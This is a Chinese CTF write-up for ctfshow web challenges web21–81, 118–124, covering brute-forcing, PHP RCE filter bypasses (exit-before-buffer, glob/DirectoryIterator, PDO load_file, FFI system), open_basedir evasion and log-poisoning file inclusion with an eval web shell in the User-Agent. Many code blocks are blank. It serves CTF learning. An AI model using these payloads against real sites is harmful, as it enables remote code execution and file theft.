ctfshow_web入门wp
ctfshow-web入门全解
重新走一遍ctfshow,顺便记录下wp
由于我们是以夯实基础为主,所以我不会使用sqlmap之类的工具一把梭
信息收集
不写了,这里直接点下面的hint就能看到,提一嘴如果由于js导致看不了源码可以点一下url再进行f12或者ctrl+u
爆破
web21
点开发现要输用户名和密码,抓包发现有个Authorization: Basic YWRtaW46MTIzNDU2,解码后面的是admin:123456,这里就可以直接爆破了
使用burp>Intruder>payload处理先前缀一个admin:,再base64-encode,最后把下面的URL编码取消,就可以爆了
web22
爆破域名,好像环境坏了,直接交flag吧
web23
接收一个参数并进行md5,如果第2,15,18位字符相同,而且整数值的和除以第二位的整数值等于第32位的整数值,则输出flag
burp>Intruder>Brute forcer>1-2长度,爆破出为3j
web24
使用372619038作为随机数的种子,生成随机数,由于种子固定,所以其实随机数也是固定的,经本地测试恒为1155388967,所以直接r=1155388967就行
web25
先输入r=0,得到第一次的随机数,然后使用php_mt_seed工具推出seed值,然后对应一下7.3.11的版本,取第二次和第三次的和写入token中发包就可以获取到flag了
web26
?这题好诡异啊,点进去抓包全放直到抓到checkdb.php,然后啥都不填发送就行a=&p=&d=&u=&pass=就返回flag了
web27
点开莫名其妙,有个录取名单直接下,打开有个叫高先伊的直接爆破身份证号
Intruder>日期>从19800101爆到20201231,格式选下面的自填yyyyMMDD,直接爆就行,查询到学号直接拿身份证号登陆就行
高先伊 身份证号:621022199002015237 学号:02015237
web28
GET /§0§/§1§/ HTTP/1.1,选择(Clusterbomb)模式,从0到100爆破,最多10000次,爆出来/72/20/,直接返回flag了
命令执行
直接看hint吧,看不懂的看我rce全解那篇文章,很全了,web118到web121看我环境变量全解那集
web41这个位置肯定是放错了,应该放55-57这个位置的
着重讲一下web71开始,这里与前面就不是一个难度了
web71
源码
1 | |
这里是先执行代码,然后将返回的内容放至缓冲区,然后进行过滤,但是我们可以提前退出结束这个代码来绕过缓冲区的限制,例如exit(),ob_flush(),die()
payload:c=include('/flag.txt');exit();
web73
用c=var_export(scandir('/'));exit(0);找到flag,用c=require_once('/flagc.txt');exit(0);读取flag
web74
scandir被禁了,但是glob还在,glob不仅可以是一个伪协议,也可以是一个函数,作用与scandir相同
c=var_export(glob('/*'));exit();,然后include即可
web72
说下这题为什么放这了,因为这个与web75一样,比web73和web74多了一个open_basedir的限制,估计放在web73之前就是scandir能用
当试图用上一题的payload的时候,出现
include(/flag.txt): failed to open stream: No such file or directory in /var/www/html/index.php(19) : eval()'d code
猜测是open_basedir限制了访问区域,这里可以用glob:///*进行读取的绕过
c=var_export(scandir('glob:///*'));exit();
从后面来的,这里虽然scandir能用,但其实也可以当作被ban了使用web75的方法
这里var_export与print_r的效果大致相同
发现根目录下有flag0.txt但下一步要想读到flag,就很麻烦了
wp给的是使用了uaf的脚本
UAF(UseAfterFree)是pwn里面的一个方法
简单说下原理吧,payload可以用web75这题的
UAF
UAF是一种内存管理漏洞,发生在程序释放了某块内存后,继续访问或使用这块内存,此时,内存可能已被重新分配给其他对象,导致未定义行为,可能被攻击者利用
如果程序在内存释放后继续访问,可能触发UAF漏洞,导致:访问被新对象占用的内存,可被攻击者利用
UAF的触发过程:
- 分配对象:创建对象,分配内存,引用计数>0
- 释放内存:通过
unset、覆盖引用或垃圾回收,引用计数降为0,内存被释放 - 错误使用:在释放后继续访问对象,可能操作被重新分配的内存
- 利用:攻击者通过控制新分配的内存,注入恶意数据或行为(如函数指针、字符串)
PHP中的UAF场景:
- 对象析构:对象被销毁(
__destruct触发)后仍被访问 - 垃圾回收:PHP 5.3+引入GC(Garbage Collector),处理循环引用,但某些操作可能导致UAF
- 扩展或类:SPL类(如
ArrayObject),自定义扩展或C代码可能引入UAF - CTF中:UAF常通过精心构造的对象引用、数组操作或序列化触发,执行任意代码或泄露内存
利用效果:
- 信息泄露:读取被释放内存中的残留数据(如flag字符串)
- 代码执行:控制内存中的函数指针或对象,调用任意函数(如
system) - 绕过限制:在CTF中,UAF可绕过
disable_functions或open_basedir,执行命令或读取文件
通常通过以下方法构造UAF:
- 反序列化:触发
__destruct或__wakeup,释放对象后访问 - SPL类:如
ArrayObject,SplObjectStorage,操作复杂引用可能导致UAF - 垃圾回收:触发GC,释放循环引用的对象后访问
- 自定义类:定义
__destruct或__toString,在释放后被调用
注:以上来源于grok,我不是打pwn的,具体这一块我不懂
web75
这题开始由于include也被禁了,所以要想一些奇技淫巧了
第一步还是glob获取文件名,但与上一题不同
wp的payload是
1 | |
这里如果使用var_export(glob('/*'))会出现false,应该是glob()函数权限不够无法读到根目录
那么就要使用glob伪协议来进行读取,这里就使用了DirectoryIterator()这个类来进行读取,还是挺考验对类的了解的,纯盲解的话应该是翻php手册找哪个类能读取而且没被禁
魔术方法调用toString是输出类对象的值,但我测试一下直接echo($f)也是可行的
然后我在这里又测了一下直接使用glob:///读取flag,结果发现存在open_basedir
PDO
主要是第二步
这里先放出wp里的payload
1 | |
接下来先讲原理,这里主要逻辑是new了一个PDO对象(PHP Data Objects),并用localhost的主机连接到用户名和密码都为root的数据库ctftraining,下一行是执行sql语句进行查询并遍历结果,然后输出结果并在最后添加|,最后关闭数据库连接,catch是与try对应的,负责异常时的情况,那么显然,这里不try一下也不catch也是完全可以的,甚至可以将关闭数据库这一步都删了,因为我们只是需要使用sql语句进行查询接着输出即可
也就是
1 | |
那么load_file为什么可以读到文件呢,因为只要sql数据库有读取文件的权限,就能成功读取,这是sql函数,不是php函数,所以php的disable禁不掉他
那么我们知道了payload的原理,就需要知道payload的组成了,最主要的就是mysql:host=localhost;dbname=ctftraining这一段
php的PDO函数支持多种数据库,这里列出一下
1 | |
那么我们可以一个个试出数据库类型,但数据库名字又是怎么得到的呢
1 | |
这样我们就列出了所有的数据库,但其实经过测试,这题不写dbname也能出
1 | |
web76
和上一题一样,flag名字变flag36d.txt了而已
web77
flag名字变flag36x.txt了
试图用上一题的payload,但是报错了,应该是这题没给pdo_mysql扩展,也就是使用数据库来读取这一招不好使了
注意到题目给出环境为php7.4版本,肯定是不会白给的对吧
问了一下grok,给出了一个SplFileObject(SPL类绕过),是与使用DirectoryIterator读文件名类似的方法
但是由于存在open_basedir的限制所以不可行
这里我想到了之前那个也存在open_basedir限制的web72,那个是用的uaf,试了一下用web75的payload,结果好使
web75到web77能绕过open_basedir是因为web75是使用的mysql的函数,而open_basedir只限制php脚本,所以是管不到的,但是那几个类去试图绕过是不好使的,类也是php脚本,受open_basedir影响
这里放上本题wp中的payload:
1 | |
能看到是执行了/readflag这个程序,但实际上,这里中间这一行直接删了就行
1 | |
这里我试了一下直接cat,但是不好使,ls -la看一下发现权限不够,只能使用/readflag
这里讲一下FFI的原理
FFI
FFI是PHP 7.4引入的一个扩展,允许php直接调用c语言函数
这里先是使用FFI::cdef声明了一个c函数,payload这里就是定义了C的system函数,接受一个C字符串(const char *)作为命令
然后调用FFI对象就成功执行任意命令了,唯一的问题是没有回显,我们需要将结果输出到1.txt
php手册: FFI::cdef
web118-web122
环境变量的利用
看我的环境变量全解那里
从0到1,学习环境变量的利用方法
web124
非常规rce
1 | |
这题首先审代码,发现没过滤$(),然后过滤了除了白名单的所有字母,那么我们只需要使用白名单内的内容和数字进行构造就行了
白名单大部分的东西都是没什么用的东西,但是注意到,放出了base_convert和dechex,那么我们可以定义一个变量$abs='_GET'然后$$abs=>$_GET执行任意命令(这里abs是在白名单中的,不会被过滤)
那么也就是需要使用两个函数将_GET这个字符串转为数字,然后反向走一遍就构造出_GET了
1 | |
RCE终于是告一段落了,未来的计划大概是把rcemap补全至能ak这些题
文件包含
web78
无任何过滤的php伪协议读取即可
web79
过滤了php换data伪协议
web80
这里wp给的是改UA头给日志写入恶意代码然后包含这个日志即可
/?file=/var/log/nginx/access.log
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0<?php eval($_GET[1]);?>
第二种方法是大写PHP绕过过滤写个pHP://input,然后用POST发带恶意命令的包即可
web81
多过滤了个:,伪协议用不了了,用上一题的日志包含即可
